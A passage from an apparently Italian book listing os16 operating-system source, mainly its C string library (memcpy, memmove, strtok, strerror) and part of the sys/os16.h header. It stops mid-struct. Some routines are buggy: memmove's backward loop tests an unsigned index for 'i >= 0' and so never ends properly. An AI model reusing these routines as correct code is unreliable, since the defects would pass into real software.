3070025         errset(EINVAL);                   // Invalid argument.
3070026         return (-1);
3070027       }
3070028     //
3070029     // Scan the environment table items, with index 'e'.
3070030     //
3070031     for (e = 0; e < ARG_MAX/32; e++)
3070032       {
3070033         //
3070034         // Scan the string of the environment item, with index 'f'.
3070035         // The scan continue until 'name[f]' and '_environment[e][f]'
3070036         // are equal.
3070037         //
3070038         for (f = 0;
3070039              f < ARG_MAX/16-1 && name[f] == _environment[e][f];
3070040              f++)
3070041           {
3070042             ; // Just scan.
3070043           }
3070044         //
3070045         // At this point, 'name[f]' and '_environment[e][f]' are
3070046         // different: if 'name[f]' is zero the name string is
3070047         // terminated; if '_environment[e][f]' is also equal to '=',
3070048         // the environment item is corresponding to the requested name.
3070049         //
```

```
3070050          if (name[f] == 0 && _environment[e][f] == '=')
3070051            {
3070052              //
3070053              // The environment item was found and it have to be removed.
3070054              // To be able to handle both 'setenv()' and 'putenv()',
3070055              // before removing the item, it is fixed the pointer to
3070056              // the global environment table.
3070057              //
3070058              _environment[e] = _environment_table[e];
3070059              //
3070060              // Now remove the environment item.
3070061              //
3070062              _environment[e][0] = 0;
3070063              break;
3070064            }
3070065        }
3070066      //
3070067      // Work done fine.
3070068      //
3070069      return (0);
3070070  }
```

106.11 os16: «lib/string.h»

Si veda la sezione 102.2.

```
3080001  #ifndef _STRING_H
3080002  #define _STRING_H       1
3080003
3080004  #include <const.h>
3080005  #include <restrict.h>
3080006  #include <const.h>
3080007  #include <size_t.h>
3080008  #include <NULL.h>
3080009  //----------------------------------------------------------------------
3080010  void  *memccpy (void *restrict dst, const void *restrict org, int c,
3080011                 size_t n);
3080012  void  *memchr  (const void *memory, int c, size_t n);
3080013  int    memcmp  (const void *memory1, const void *memory2, size_t n);
3080014  void  *memcpy  (void *restrict dst, const void *restrict org, size_t n);
3080015  void  *memmove (void *dst, const void *org, size_t n);
3080016  void  *memset  (void *memory, int c, size_t n);
3080017  char  *strcat  (char *restrict dst, const char *restrict org);
3080018  char  *strchr  (const char *string, int c);
3080019  int    strcmp  (const char *string1, const char *string2);
3080020  int    strcoll (const char *string1, const char *string2);
3080021  char  *strcpy  (char *restrict dst, const char *restrict org);
3080022  size_t strcspn (const char *string, const char *reject);
3080023  char  *strdup  (const char *string);
3080024  char  *strerror (int errnum);
3080025  size_t strlen  (const char *string);
```

```
3080026 char   *strncat (char *restrict dst, const char *restrict org, size_t n);
3080027 int     strncmp (const char *string1, const char *string2, size_t n);
3080028 char   *strncpy (char *restrict dst, const char *restrict org, size_t n);
3080029 char   *strpbrk (const char *string, const char *accept);
3080030 char   *strrchr (const char *string, int c);
3080031 size_t strspn  (const char *string, const char *accept);
3080032 char   *strstr  (const char *string, const char *substring);
3080033 char   *strtok  (char *restrict string, const char *restrict delim);
3080034 size_t strxfrm (char *restrict dst, const char *restrict org, size_t n);
3080035 //----------------------------------------------------------------------
3080036 
3080037 
3080038 
3080039 #endif
```

106.11.1 lib/string/memccpy.c

Si veda la sezione 99.67.

```
3090001 #include <string.h>
3090002 //----------------------------------------------------------------------
3090003 void *
3090004 memccpy (void *restrict dst, const void *restrict org, int c, size_t n)
3090005 {
3090006     char *d = (char *) dst;
3090007     char *o = (char *) org;
3090008     size_t i;
3090009     for (i = 0; n > 0 && i < n; i++)
3090010       {
3090011         d[i] = o[i];
3090012         if (d[i] == (char) c)
3090013           {
3090014             return ((void *) &d[i+1]);
3090015           }
3090016       }
3090017     return (NULL);
3090018 }
```

106.11.2 lib/string/memchr.c

Si veda la sezione 99.68.

```
3100001 #include <string.h>
3100002 //----------------------------------------------------------------------
3100003 void *
3100004 memchr (const void *memory, int c, size_t n)
3100005 {
3100006     char *m = (char *) memory;
3100007     size_t i;
```

```
3100008     for (i = 0; n > 0 && i < n; i++)
3100009       {
3100010         if (m[i] == (char) c)
3100011           {
3100012             return (void *) (m + i);
3100013           }
3100014       }
3100015     return NULL;
3100016 }
```

106.11.3 lib/string/memcmp.c

Si veda la sezione 99.69.

```
3110001 #include <string.h>
3110002 //----------------------------------------------------------------------
3110003 int
3110004 memcmp (const void *memory1, const void *memory2, size_t n)
3110005 {
3110006     char *a = (char *) memory1;
3110007     char *b = (char *) memory2;
3110008     size_t i;
3110009     for (i = 0; n > 0 && i < n; i++)
3110010       {
3110011         if (a[i] > b[i])
3110012           {
3110013             return 1;
3110014           }
3110015         else if (a[i] < b[i])
3110016           {
3110017             return -1;
3110018           }
3110019       }
3110020     return 0;
3110021 }
```

106.11.4 lib/string/memcpy.c

Si veda la sezione 99.70.

```
3120001 #include <string.h>
3120002 //----------------------------------------------------------------------
3120003 void *
3120004 memcpy (void *restrict dst, const void *restrict org, size_t n)
3120005 {
3120006     char *d = (char *) dst;
3120007     char *o = (char *) org;
3120008     size_t i;
3120009     for (i = 0; n > 0 && i < n; i++)
```

```
3120010          {
3120011            d[i] = o[i];
3120012          }
3120013        return dst;
3120014    }
```

106.11.5 lib/string/memmove.c

Si veda la sezione 99.71.

```
3130001    #include <string.h>
3130002    //----------------------------------------------------------------------
3130003    void *
3130004    memmove (void *dst, const void *org, size_t n)
3130005    {
3130006        char *d = (char *) dst;
3130007        char *o = (char *) org;
3130008        size_t i;
3130009        //
3130010        // Depending on the memory start locations, copy may be direct or
3130011        // reverse, to avoid overwriting before the relocation is done.
3130012        //
3130013        if (d < o)
3130014          {
3130015            for (i = 0; i < n; i++)
3130016              {
3130017                d[i] = o[i];
3130018              }
3130019          }
3130020        else if (d == o)
3130021          {
3130022            //
3130023            // Memory locations are already the same.
3130024            //
3130025            ;
3130026          }
3130027        else
3130028          {
3130029            for (i = n - 1; i >= 0; i--)
3130030              {
3130031                d[i] = o[i];
3130032              }
3130033          }
3130034        return dst;
3130035    }
```

106.11.6 lib/string/memset.c

Si veda la sezione 99.72.

```
3140001 #include <string.h>
3140002 //----------------------------------------------------------------------
3140003 void *
3140004 memset (void *memory, int c, size_t n)
3140005 {
3140006     char  *m = (char *) memory;
3140007     size_t i;
3140008     for (i = 0; n > 0 && i < n; i++)
3140009       {
3140010         m[i] = (char) c;
3140011       }
3140012     return memory;
3140013 }
```

106.11.7 lib/string/strcat.c

Si veda la sezione 99.104.

```
3150001 #include <string.h>
3150002 //----------------------------------------------------------------------
3150003 char *
3150004 strcat (char *restrict dst, const char *restrict org)
3150005 {
3150006     size_t i;
3150007     size_t j;
3150008     for (i = 0; dst[i] != 0; i++)
3150009       {
3150010         ; // Just look for the null character.
3150011       }
3150012     for (j = 0; org[j] != 0; i++, j++)
3150013       {
3150014         dst[i] = org[j];
3150015       }
3150016     dst[i] = 0;
3150017     return dst;
3150018 }
```

106.11.8 lib/string/strchr.c

Si veda la sezione 99.105.

```
3160001 #include <string.h>
3160002 //----------------------------------------------------------------------
3160003 char *
3160004 strchr (const char *string, int c)
3160005 {
```

```
3160006      size_t i;
3160007      for (i = 0; ; i++)
3160008        {
3160009          if (string[i] == (char) c)
3160010            {
3160011              return (char *) (string + i);
3160012            }
3160013          else if (string[i] == 0)
3160014            {
3160015              return NULL;
3160016            }
3160017        }
3160018  }
```

106.11.9 lib/string/strcmp.c

Si veda la sezione 99.106.

```
3170001  #include <string.h>
3170002  //----------------------------------------------------------------------
3170003  int
3170004  strcmp (const char *string1, const char *string2)
3170005  {
3170006      char *a = (char *) string1;
3170007      char *b = (char *) string2;
3170008      size_t i;
3170009      for (i = 0; ; i++)
3170010        {
3170011          if (a[i] > b[i])
3170012            {
3170013              return 1;
3170014            }
3170015          else if (a[i] < b[i])
3170016            {
3170017              return -1;
3170018            }
3170019          else if (a[i] == 0 && b[i] == 0)
3170020            {
3170021              return 0;
3170022            }
3170023        }
3170024  }
```

106.11.10 lib/string/strcoll.c

Si veda la sezione 99.106.

```
3180001 #include <string.h>
3180002 //----------------------------------------------------------------------
3180003 int
3180004 strcoll (const char *string1, const char *string2)
3180005 {
3180006     return (strcmp (string1, string2));
3180007 }
```

106.11.11 lib/string/strcpy.c

Si veda la sezione 99.108.

```
3190001 #include <string.h>
3190002 //----------------------------------------------------------------------
3190003 char *
3190004 strcpy (char *restrict dst, const char *restrict org)
3190005 {
3190006     size_t i;
3190007     for (i = 0; org[i] != 0; i++)
3190008       {
3190009         dst[i] = org[i];
3190010       }
3190011     dst[i] = 0;
3190012     return dst;
3190013 }
```

106.11.12 lib/string/strcspn.c

Si veda la sezione 99.118.

```
3200001 #include <string.h>
3200002 //----------------------------------------------------------------------
3200003 size_t
3200004 strcspn (const char *string, const char *reject)
3200005 {
3200006     size_t i;
3200007     size_t j;
3200008     int found;
3200009     for (i = 0; string[i] != 0; i++)
3200010       {
3200011         for (j = 0, found = 0; reject[j] != 0 || found; j++)
3200012           {
3200013             if (string[i] == reject[j])
3200014               {
3200015                 found = 1;
3200016                 break;
```

```
3200017                 }
3200018             }
3200019           if (found)
3200020             {
3200021               break;
3200022             }
3200023         }
3200024       return i;
3200025   }
```

106.11.13 lib/string/strdup.c

Si veda la sezione 99.110.

```
3210001   #include <string.h>
3210002   #include <stdlib.h>
3210003   #include <errno.h>
3210004   //----------------------------------------------------------------------
3210005   char *
3210006   strdup  (const char *string)
3210007   {
3210008       size_t size;
3210009       char  *copy;
3210010       //
3210011       // Get string size: must be added 1, to count the termination null
3210012       // character.
3210013       //
3210014       size = strlen (string) + 1;
3210015       //
3210016       copy = malloc (size);
3210017       //
3210018       if (copy == NULL)
3210019         {
3210020           errset (ENOMEM);         // Not enough memory.
3210021           return (NULL);
3210022         }
3210023       //
3210024       strcpy (copy, string);
3210025       //
3210026       return (copy);
3210027   }
```

106.11.14 lib/string/strerror.c

Si veda la sezione 99.111.

```
3220001 #include <string.h>
3220002 #include <errno.h>
3220003 //----------------------------------------------------------------------
3220004 #define ERROR_MAX 100
3220005 //----------------------------------------------------------------------
3220006 char *
3220007 strerror (int errnum)
3220008 {
3220009     static char *err[ERROR_MAX];
3220010     //
3220011     err[0]                                  = "No error";
3220012     err[E2BIG]                              = TEXT_E2BIG;
3220013     err[EACCES]                             = TEXT_EACCES;
3220014     err[EADDRINUSE]                         = TEXT_EADDRINUSE;
3220015     err[EADDRNOTAVAIL]                      = TEXT_EADDRNOTAVAIL;
3220016     err[EAFNOSUPPORT]                       = TEXT_EAFNOSUPPORT;
3220017     err[EAGAIN]                             = TEXT_EAGAIN;
3220018     err[EALREADY]                           = TEXT_EALREADY;
3220019     err[EBADF]                              = TEXT_EBADF;
3220020     err[EBADMSG]                            = TEXT_EBADMSG;
3220021     err[EBUSY]                              = TEXT_EBUSY;
3220022     err[ECANCELED]                          = TEXT_ECANCELED;
3220023     err[ECHILD]                             = TEXT_ECHILD;
3220024     err[ECONNABORTED]                       = TEXT_ECONNABORTED;
3220025     err[ECONNREFUSED]                       = TEXT_ECONNREFUSED;
3220026     err[ECONNRESET]                         = TEXT_ECONNRESET;
3220027     err[EDEADLK]                            = TEXT_EDEADLK;
3220028     err[EDESTADDRREQ]                       = TEXT_EDESTADDRREQ;
3220029     err[EDOM]                               = TEXT_EDOM;
3220030     err[EDQUOT]                             = TEXT_EDQUOT;
3220031     err[EEXIST]                             = TEXT_EEXIST;
3220032     err[EFAULT]                             = TEXT_EFAULT;
3220033     err[EFBIG]                              = TEXT_EFBIG;
3220034     err[EHOSTUNREACH]                       = TEXT_EHOSTUNREACH;
3220035     err[EIDRM]                              = TEXT_EIDRM;
3220036     err[EILSEQ]                             = TEXT_EILSEQ;
3220037     err[EINPROGRESS]                        = TEXT_EINPROGRESS;
3220038     err[EINTR]                              = TEXT_EINTR;
3220039     err[EINVAL]                             = TEXT_EINVAL;
3220040     err[EIO]                                = TEXT_EIO;
3220041     err[EISCONN]                            = TEXT_EISCONN;
3220042     err[EISDIR]                             = TEXT_EISDIR;
3220043     err[ELOOP]                              = TEXT_ELOOP;
3220044     err[EMFILE]                             = TEXT_EMFILE;
3220045     err[EMLINK]                             = TEXT_EMLINK;
3220046     err[EMSGSIZE]                           = TEXT_EMSGSIZE;
3220047     err[EMULTIHOP]                          = TEXT_EMULTIHOP;
3220048     err[ENAMETOOLONG]                       = TEXT_ENAMETOOLONG;
3220049     err[ENETDOWN]                           = TEXT_ENETDOWN;
```

```
3220050     err[ENETRESET]                    = TEXT_ENETRESET;
3220051     err[ENETUNREACH]                  = TEXT_ENETUNREACH;
3220052     err[ENFILE]                       = TEXT_ENFILE;
3220053     err[ENOBUFS]                      = TEXT_ENOBUFS;
3220054     err[ENODATA]                      = TEXT_ENODATA;
3220055     err[ENODEV]                       = TEXT_ENODEV;
3220056     err[ENOENT]                       = TEXT_ENOENT;
3220057     err[ENOEXEC]                      = TEXT_ENOEXEC;
3220058     err[ENOLCK]                       = TEXT_ENOLCK;
3220059     err[ENOLINK]                      = TEXT_ENOLINK;
3220060     err[ENOMEM]                       = TEXT_ENOMEM;
3220061     err[ENOMSG]                       = TEXT_ENOMSG;
3220062     err[ENOPROTOOPT]                  = TEXT_ENOPROTOOPT;
3220063     err[ENOSPC]                       = TEXT_ENOSPC;
3220064     err[ENOSR]                        = TEXT_ENOSR;
3220065     err[ENOSTR]                       = TEXT_ENOSTR;
3220066     err[ENOSYS]                       = TEXT_ENOSYS;
3220067     err[ENOTCONN]                     = TEXT_ENOTCONN;
3220068     err[ENOTDIR]                      = TEXT_ENOTDIR;
3220069     err[ENOTEMPTY]                    = TEXT_ENOTEMPTY;
3220070     err[ENOTSOCK]                     = TEXT_ENOTSOCK;
3220071     err[ENOTSUP]                      = TEXT_ENOTSUP;
3220072     err[ENOTTY]                       = TEXT_ENOTTY;
3220073     err[ENXIO]                        = TEXT_ENXIO;
3220074     err[EOPNOTSUPP]                   = TEXT_EOPNOTSUPP;
3220075     err[EOVERFLOW]                    = TEXT_EOVERFLOW;
3220076     err[EPERM]                        = TEXT_EPERM;
3220077     err[EPIPE]                        = TEXT_EPIPE;
3220078     err[EPROTO]                       = TEXT_EPROTO;
3220079     err[EPROTONOSUPPORT]              = TEXT_EPROTONOSUPPORT;
3220080     err[EPROTOTYPE]                   = TEXT_EPROTOTYPE;
3220081     err[ERANGE]                       = TEXT_ERANGE;
3220082     err[EROFS]                        = TEXT_EROFS;
3220083     err[ESPIPE]                       = TEXT_ESPIPE;
3220084     err[ESRCH]                        = TEXT_ESRCH;
3220085     err[ESTALE]                       = TEXT_ESTALE;
3220086     err[ETIME]                        = TEXT_ETIME;
3220087     err[ETIMEDOUT]                    = TEXT_ETIMEDOUT;
3220088     err[ETXTBSY]                      = TEXT_ETXTBSY;
3220089     err[EWOULDBLOCK]                  = TEXT_EWOULDBLOCK;
3220090     err[EXDEV]                        = TEXT_EXDEV;
3220091     err[E_FILE_TYPE]                  = TEXT_E_FILE_TYPE;
3220092     err[E_ROOT_INODE_NOT_CACHED]      = TEXT_E_ROOT_INODE_NOT_CACHED;
3220093     err[E_CANNOT_READ_SUPERBLOCK]     = TEXT_E_CANNOT_READ_SUPERBLOCK;
3220094     err[E_MAP_INODE_TOO_BIG]          = TEXT_E_MAP_INODE_TOO_BIG;
3220095     err[E_MAP_ZONE_TOO_BIG]           = TEXT_E_MAP_ZONE_TOO_BIG;
3220096     err[E_DATA_ZONE_TOO_BIG]          = TEXT_E_DATA_ZONE_TOO_BIG;
3220097     err[E_CANNOT_FIND_ROOT_DEVICE]    = TEXT_E_CANNOT_FIND_ROOT_DEVICE;
3220098     err[E_CANNOT_FIND_ROOT_INODE]     = TEXT_E_CANNOT_FIND_ROOT_INODE;
3220099     err[E_FILE_TYPE_UNSUPPORTED]      = TEXT_E_FILE_TYPE_UNSUPPORTED;
3220100     err[E_ENV_TOO_BIG]                = TEXT_E_ENV_TOO_BIG;
3220101     err[E_LIMIT]                      = TEXT_E_LIMIT;
```

```
3220102     err[E_NOT_MOUNTED]                  = TEXT_E_NOT_MOUNTED;
3220103     err[E_NOT_IMPLEMENTED]              = TEXT_E_NOT_IMPLEMENTED;
3220104     //
3220105     if (errnum >= ERROR_MAX || errnum < 0)
3220106       {
3220107         return ("Unknown error");
3220108       }
3220109     //
3220110     return (err[errnum]);
3220111 }
```

106.11.15 lib/string/strlen.c

Si veda la sezione 99.112.

```
3230001 #include <string.h>
3230002 //----------------------------------------------------------------------
3230003 size_t
3230004 strlen (const char *string)
3230005 {
3230006     size_t i;
3230007     for (i = 0; string[i] != 0 ; i++)
3230008       {
3230009         ; // Just count.
3230010       }
3230011     return i;
3230012 }
```

106.11.16 lib/string/strncat.c

Si veda la sezione 99.104.

```
3240001 #include <string.h>
3240002 //----------------------------------------------------------------------
3240003 char *
3240004 strncat (char *restrict dst, const char *restrict org, size_t n)
3240005 {
3240006     size_t i;
3240007     size_t j;
3240008     for (i = 0; n > 0 && dst[i] != 0; i++)
3240009       {
3240010         ; // Just seek the null character.
3240011       }
3240012     for (j = 0; n > 0 && j < n && org[j] != 0; i++, j++)
3240013       {
3240014         dst[i] = org[j];
3240015       }
3240016     dst[i] = 0;
3240017     return dst;
3240018 }
```

106.11.17 lib/string/strncmp.c

Si veda la sezione 99.106.

```
3250001 #include <string.h>
3250002 //----------------------------------------------------------------------
3250003 int
3250004 strncmp (const char *string1, const char *string2, size_t n)
3250005 {
3250006     size_t i;
3250007     for (i = 0; i < n ; i++)
3250008       {
3250009         if (string1[i] > string2[i])
3250010           {
3250011             return 1;
3250012           }
3250013         else if (string1[i] < string2[i])
3250014           {
3250015             return -1;
3250016           }
3250017         else if (string1[i] == 0 && string2[i] == 0)
3250018           {
3250019             return 0;
3250020           }
3250021       }
3250022     return 0;
3250023 }
```

106.11.18 lib/string/strncpy.c

Si veda la sezione 99.108.

```
3260001 #include <string.h>
3260002 //----------------------------------------------------------------------
3260003 char *
3260004 strncpy (char *restrict dst, const char *restrict org, size_t n)
3260005 {
3260006     size_t i;
3260007     for (i = 0; n > 0 && i < n && org[i] != 0; i++)
3260008       {
3260009         dst[i] = org[i];
3260010       }
3260011     for ( ; n > 0 && i < n; i++)
3260012       {
3260013         dst[i] = 0;
3260014       }
3260015     return dst;
3260016 }
```

106.11.19 lib/string/strpbrk.c

Si veda la sezione 99.116.

```
3270001 #include <string.h>
3270002 //----------------------------------------------------------------------
3270003 char *
3270004 strpbrk (const char *string, const char *accept)
3270005 {
3270006     size_t i;
3270007     size_t j;
3270008     for (i = 0; string[i] != 0; i++)
3270009       {
3270010         for (j = 0; accept[j] != 0; j++)
3270011           {
3270012             if (string[i] == accept[j])
3270013               {
3270014                 return (string + i);
3270015               }
3270016           }
3270017       }
3270018     return NULL;
3270019 }
```

106.11.20 lib/string/strrchr.c

Si veda la sezione 99.105.

```
3280001 #include <string.h>
3280002 //----------------------------------------------------------------------
3280003 char *
3280004 strrchr (const char *string, int c)
3280005 {
3280006     int i;
3280007     for (i = strlen (string); i >= 0; i--)
3280008       {
3280009         if (string[i] == (char) c)
3280010           {
3280011             break;
3280012           }
3280013       }
3280014     if (i < 0)
3280015       {
3280016         return NULL;
3280017       }
3280018     else
3280019       {
3280020         return (string + i);
3280021       }
3280022 }
```

106.11.21 lib/string/strspn.c

Si veda la sezione 99.118.

```
3290001 #include <string.h>
3290002 //----------------------------------------------------------------------
3290003 size_t
3290004 strspn (const char *string, const char *accept)
3290005 {
3290006     size_t i;
3290007     size_t j;
3290008     int found;
3290009     for (i = 0; string[i] != 0; i++)
3290010       {
3290011         for (j = 0, found = 0; accept[j] != 0; j++)
3290012           {
3290013             if (string[i] == accept[j])
3290014               {
3290015                 found = 1;
3290016                 break;
3290017               }
3290018           }
3290019         if (!found)
3290020           {
3290021             break;
3290022           }
3290023       }
3290024     return i;
3290025 }
```

106.11.22 lib/string/strstr.c

Si veda la sezione 99.119.

```
3300001 #include <string.h>
3300002 //----------------------------------------------------------------------
3300003 char *
3300004 strstr (const char *string, const char *substring)
3300005 {
3300006     size_t i;
3300007     size_t j;
3300008     size_t k;
3300009     int found;
3300010     if (substring[0] == 0)
3300011       {
3300012         return (char *) string;
3300013       }
3300014     for (i = 0, j = 0, found = 0; string[i] != 0; i++)
3300015       {
3300016         if (string[i] == substring[0])
3300017           {
```

```
3300018                for (k = i, j = 0;
3300019                     string[k] == substring[j] &&
3300020                     string[k] != 0            &&
3300021                     substring[j] != 0;
3300022                     j++, k++)
3300023                  {
3300024                    ;
3300025                  }
3300026                if (substring[j] == 0)
3300027                  {
3300028                    found = 1;
3300029                  }
3300030              }
3300031            if (found)
3300032              {
3300033                return (char *) (string + i);
3300034              }
3300035          }
3300036        return NULL;
3300037    }
```

106.11.23 lib/string/strtok.c

Si veda la sezione 99.120.

```
3310001    #include <string.h>
3310002    //----------------------------------------------------------------------
3310003    char *
3310004    strtok (char *restrict string, const char *restrict delim)
3310005    {
3310006        static char *next = NULL;
3310007        size_t i = 0;
3310008        size_t j;
3310009        int found_token;
3310010        int found_delim;
3310011        //
3310012        // If the string received a the first parameter is a null pointer,
3310013        // the static pointer is used. But if it is already NULL,
3310014        // the scan cannot start.
3310015        //
3310016        if (string == NULL)
3310017          {
3310018            if (next == NULL)
3310019              {
3310020                return NULL;
3310021              }
3310022            else
3310023              {
3310024                string = next;
3310025              }
3310026          }
```

```
3310027     //
3310028     // If the string received as the first parameter is empty, the scan
3310029     // cannot start.
3310030     //
3310031     if (string[0] == 0)
3310032       {
3310033         next = NULL;
3310034         return NULL;
3310035       }
3310036     else
3310037       {
3310038         if (delim[0] == 0)
3310039           {
3310040             return string;
3310041           }
3310042       }
3310043     //
3310044     // Find the next token.
3310045     //
3310046     for (i = 0, found_token = 0, j = 0;
3310047          string[i] != 0 && (!found_token); i++)
3310048       {
3310049         //
3310050         // Look inside delimiters.
3310051         //
3310052         for (j = 0, found_delim = 0; delim[j] != 0; j++)
3310053           {
3310054             if (string[i] == delim[j])
3310055               {
3310056                 found_delim = 1;
3310057               }
3310058           }
3310059         //
3310060         // If current character inside the string is not a delimiter,
3310061         // it is the start of a new token.
3310062         //
3310063         if (!found_delim)
3310064           {
3310065             found_token = 1;
3310066             break;
3310067           }
3310068       }
3310069     //
3310070     // If a token was found, the pointer is updated.
3310071     // If otherwise the token is not found, this means that
3310072     // there are no more.
3310073     //
3310074     if (found_token)
3310075       {
3310076         string += i;
3310077       }
3310078     else
```

```
3310079         {
3310080           next = NULL;
3310081           return NULL;
3310082         }
3310083       //
3310084       // Find the end of the token.
3310085       //
3310086       for (i = 0, found_delim = 0; string[i] != 0; i++)
3310087         {
3310088           for (j = 0; delim[j] != 0; j++)
3310089             {
3310090               if (string[i] == delim[j])
3310091                 {
3310092                   found_delim = 1;
3310093                   break;
3310094                 }
3310095             }
3310096           if (found_delim)
3310097             {
3310098               break;
3310099             }
3310100         }
3310101       //
3310102       // If a delimiter was found, the corresponding character must be
3310103       // reset to zero. If otherwise the string is terminated, the
3310104       // scan is terminated.
3310105       //
3310106       if (found_delim)
3310107         {
3310108           string[i] = 0;
3310109           next = &string[i+1];
3310110         }
3310111       else
3310112         {
3310113           next = NULL;
3310114         }
3310115       //
3310116       // At this point, the current string represent the token found.
3310117       //
3310118       return string;
3310119   }
```

106.11.24 lib/string/strxfrm.c

Si veda la sezione 99.123.

```
3320001   #include <string.h>
3320002   //----------------------------------------------------------------------
3320003   size_t
3320004   strxfrm (char *restrict dst, const char *restrict org, size_t n)
3320005   {
```

```
3320006     size_t i;
3320007     if (n == 0 && dst == NULL)
3320008       {
3320009         return strlen (org);
3320010       }
3320011     else
3320012       {
3320013         for (i = 0; i < n ; i++)
3320014           {
3320015             dst[i] = org[i];
3320016             if (org[i] == 0)
3320017               {
3320018                 break;
3320019               }
3320020           }
3320021         return i;
3320022       }
3320023 }
```

106.12 os16: «lib/sys/os16.h»

Si veda la sezione 102.2.

```
3330001 #ifndef _SYS_OS16_H
3330002 #define _SYS_OS16_H      1
3330003 //------------------------------------------------------------------------
3330004 // This file contains all the declarations that don't have a better
3330005 // place inside standard headers files. Even declarations related to
3330006 // device numbers and system calls is contained here.
3330007 //------------------------------------------------------------------------
3330008 // Please remember that system calls should never be used (called)
3330009 // inside the kernel code, because system calls cannot be nested for
3330010 // the os16 simple architecture!
3330011 // If a particular function is necessary inside the kernel, that usually
3330012 // is made by a system call, an appropriate k_...() function must be
3330013 // made, to avoid the problem.
3330014 //------------------------------------------------------------------------
3330015 
3330016 #include <sys/types.h>
3330017 #include <sys/stat.h>
3330018 #include <stdint.h>
3330019 #include <signal.h>
3330020 #include <limits.h>
3330021 #include <stdio.h>
3330022 #include <stdint.h>
3330023 #include <stddef.h>
3330024 #include <const.h>
3330025 #include <restrict.h>
3330026 #include <stdarg.h>
3330027 //------------------------------------------------------------------------
3330028 // Device numbers.
```

```
3330029 //----------------------------------------------------------------------
3330030 #define DEV_UNDEFINED_MAJOR     0x00
3330031 #define DEV_UNDEFINED           0x0000
3330032 #define DEV_MEM_MAJOR           0x01
3330033 #define DEV_MEM                 0x0101
3330034 #define DEV_NULL                0x0102
3330035 #define DEV_PORT                0x0103
3330036 #define DEV_ZERO                0x0104
3330037 #define DEV_TTY_MAJOR           0x02
3330038 #define DEV_TTY                 0x0200
3330039 #define DEV_DSK_MAJOR           0x03
3330040 #define DEV_DSK0                0x0300
3330041 #define DEV_DSK1                0x0301
3330042 #define DEV_DSK2                0x0302
3330043 #define DEV_DSK3                0x0303
3330044 #define DEV_KMEM_MAJOR          0x04
3330045 #define DEV_KMEM_PS             0x0401
3330046 #define DEV_KMEM_MMP            0x0402
3330047 #define DEV_KMEM_SB             0x0403
3330048 #define DEV_KMEM_INODE          0x0404
3330049 #define DEV_KMEM_FILE           0x0405
3330050 #define DEV_CONSOLE_MAJOR       0x05
3330051 #define DEV_CONSOLE             0x05FF
3330052 #define DEV_CONSOLE0            0x0500
3330053 #define DEV_CONSOLE1            0x0501
3330054 #define DEV_CONSOLE2            0x0502
3330055 #define DEV_CONSOLE3            0x0503
3330056 #define DEV_CONSOLE4            0x0504
3330057 //----------------------------------------------------------------------
3330058 // Current segments.
3330059 //----------------------------------------------------------------------
3330060 uint16_t _seg_i (void);
3330061 uint16_t _seg_d (void);
3330062 uint16_t _cs    (void);
3330063 uint16_t _ds    (void);
3330064 uint16_t _ss    (void);
3330065 uint16_t _es    (void);
3330066 uint16_t _sp    (void);
3330067 uint16_t _bp    (void);
3330068 #define seg_i() ((unsigned int) _seg_i ())
3330069 #define seg_d() ((unsigned int) _seg_d ())
3330070 #define cs()    ((unsigned int) _cs ())
3330071 #define ds()    ((unsigned int) _ds ())
3330072 #define ss()    ((unsigned int) _ss ())
3330073 #define es()    ((unsigned int) _es ())
3330074 #define sp()    ((unsigned int) _sp ())
3330075 #define bp()    ((unsigned int) _bp ())
3330076 //----------------------------------------------------------------------
3330077 #define min(a, b) (a < b ? a : b)
3330078 #define max(a, b) (a > b ? a : b)
3330079 //----------------------------------------------------------------------
3330080 #define INPUT_LINE_HIDDEN 0
```

```
3330081 #define INPUT_LINE_ECHO   1
3330082 #define INPUT_LINE_STARS  2
3330083 //----------------------------------------------------------------------
3330084 #define MOUNT_DEFAULT     0  // Default mount options.
3330085 #define MOUNT_RO          1  // Read only mount option.
3330086 //----------------------------------------------------------------------
3330087 #define SYS_0                    0  // Nothing to do.
3330088 #define SYS_CHDIR                1
3330089 #define SYS_CHMOD                2
3330090 #define SYS_CLOCK                3
3330091 #define SYS_CLOSE                4
3330092 #define SYS_EXEC                 5
3330093 #define SYS_EXIT                 6  // [1] see below.
3330094 #define SYS_FCHMOD               7
3330095 #define SYS_FORK                 8
3330096 #define SYS_FSTAT                9
3330097 #define SYS_KILL                10
3330098 #define SYS_LSEEK               11
3330099 #define SYS_MKDIR               12
3330100 #define SYS_MKNOD               13
3330101 #define SYS_MOUNT               14
3330102 #define SYS_OPEN                15
3330103 #define SYS_PGRP                16
3330104 #define SYS_READ                17
3330105 #define SYS_SETEUID             18
3330106 #define SYS_SETUID              19
3330107 #define SYS_SIGNAL              20
3330108 #define SYS_SLEEP               21
3330109 #define SYS_STAT                22
3330110 #define SYS_TIME                23
3330111 #define SYS_UAREA               24
3330112 #define SYS_UMASK               25
3330113 #define SYS_UMOUNT              26
3330114 #define SYS_WAIT                27
3330115 #define SYS_WRITE               28
3330116 #define SYS_ZPCHAR              29  // [2] see below.
3330117 #define SYS_ZPSTRING            30  // [2]
3330118 #define SYS_CHOWN               31
3330119 #define SYS_DUP                 33
3330120 #define SYS_DUP2                34
3330121 #define SYS_LINK                35
3330122 #define SYS_UNLINK              36
3330123 #define SYS_FCNTL               37
3330124 #define SYS_STIME               38
3330125 #define SYS_FCHOWN              39
3330126 //
3330127 // [1] The files 'crt0...' need to know the value used for the
3330128 //     exit system call. If this value is modified, all the file
3330129 //     'crt0...' have also to be modified the same way.
3330130 //
3330131 // [2] These system calls were developed at the beginning, when no
3330132 //     standard I/O was available. They are to be considered as a
```

```
3330133 //     last resort for debugging purposes.
3330134 //
3330135 //----------------------------------------------------------------------
3330136 typedef struct {
3330137     char         path[PATH_MAX];
3330138     int          ret;
3330139     int          errno;
3330140     int          errln;
3330141     char         errfn[PATH_MAX];
3330142 } sysmsg_chdir_t;
3330143 //----------------------------------------------------------------------
3330144 typedef struct {
3330145     char         path[PATH_MAX];
3330146     mode_t       mode;
3330147     int          ret;
3330148     int          errno;
3330149     int          errln;
3330150     char         errfn[PATH_MAX];
3330151 } sysmsg_chmod_t;
3330152 //----------------------------------------------------------------------
3330153 typedef struct {
3330154     char         path[PATH_MAX];
3330155     uid_t        uid;
3330156     uid_t        gid;
3330157     int          ret;
3330158     int          errno;
3330159     int          errln;
3330160     char         errfn[PATH_MAX];
3330161 } sysmsg_chown_t;
3330162 //----------------------------------------------------------------------
3330163 typedef struct {
3330164     clock_t      ret;
3330165 } sysmsg_clock_t;
3330166 //----------------------------------------------------------------------
3330167 typedef struct {
3330168     int          fdn;
3330169     int          ret;
3330170     int          errno;
